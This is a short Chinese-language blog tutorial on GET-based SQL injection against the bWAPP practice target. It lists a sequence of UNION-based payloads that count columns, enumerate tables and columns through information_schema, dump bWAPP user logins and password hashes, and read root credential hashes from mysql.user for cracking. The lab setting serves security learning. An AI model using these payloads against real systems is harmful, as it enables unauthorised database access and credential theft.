sql注入1----sql injection get search

使用靶机为bwapp

 

查询所有的结果

 1111' or 1=1 #

查询所有的数据内容行

' order by 7 #

查看列数

1' UNION SELECT 1,2,3,4,5,6 #

 

 

 查看所在的数据库,得到库名

1' union select 1,database(),3,4,5,6 #

 

 查看数据库下所属的表名,得到所有表名,从返回结果来看,我们需要users表

 

 

1' union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema=database()#

通过users表,查看users表中的字段

 

 

1' union select 1,column_name,3,4,5,6 from information_schema.columns where table_schema=database() and table_name='users'#

通过表中的字段,我们一般可能需要login,password,admin字段

 

 

1' union select 1,login,password,4,admin,6 from bWAPP.users#

然后拿到bee对应的字符串去MD5解密

 

 或者我们可以直接打穿

因为我们数据库本身自带mysql库和mysql.user表,我们也可以直接进行打击

1' union select 1,User,authentication_string,4,account_locked,6 from mysql.user#

比如这里我们可以拿到root的账号跟密码,然后通过这个加密的密码去解密

posted @ 2022-06-15 14:52  沫笙*  阅读(53)  评论(0编辑  收藏  举报